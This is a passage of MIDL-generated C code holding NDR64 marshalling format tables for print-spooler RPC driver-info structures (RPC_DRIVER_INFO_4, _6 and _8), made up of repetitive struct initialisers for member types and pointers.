&__midl_frag1042\n    }\n};\n\nstatic const __midl_frag256_t __midl_frag256 =\n{ \n/* RPC_DRIVER_INFO_8 */\n    { \n    /* RPC_DRIVER_INFO_8 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_DRIVER_INFO_8 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 224 /* 0xe0 */,\n        0,\n        0,\n        &__midl_frag284,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag255_t __midl_frag255 =\n{ \n/* *RPC_DRIVER_INFO_8 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag256\n};\n\nstatic const __midl_frag254_t __midl_frag254 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag265\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag268\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    }\n};\n\nstatic const __midl_frag235_t __midl_frag235 =\n{ \n/* RPC_DRIVER_INFO_6 */\n    { \n    /* RPC_DRIVER_INFO_6 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_DRIVER_INFO_6 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 152 /* 0x98 */,\n        0,\n        0,\n        &__midl_frag254,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag234_t __midl_frag234 =\n{ \n/* *RPC_DRIVER_INFO_6 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag235\n};\n\nstatic const __midl_frag233_t __midl_frag233 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag265\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag268\n    }\n};\n\nstatic const __midl_frag218_t __midl_frag218 =\n{ \n/* RPC_DRIVER_INFO_4 */\n    { \n    /* RPC_DRIVER_INFO_4 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_DRIVER_INFO_4 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 104 /* 0x68 */,\n        0,\n        0,\n        &__midl_frag233,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag217_t __midl_frag217 =\n{ \n/* *RPC_DRIVER_INFO_4 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag218\n};\n\nstatic const __midl_frag216_t __midl_frag216 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        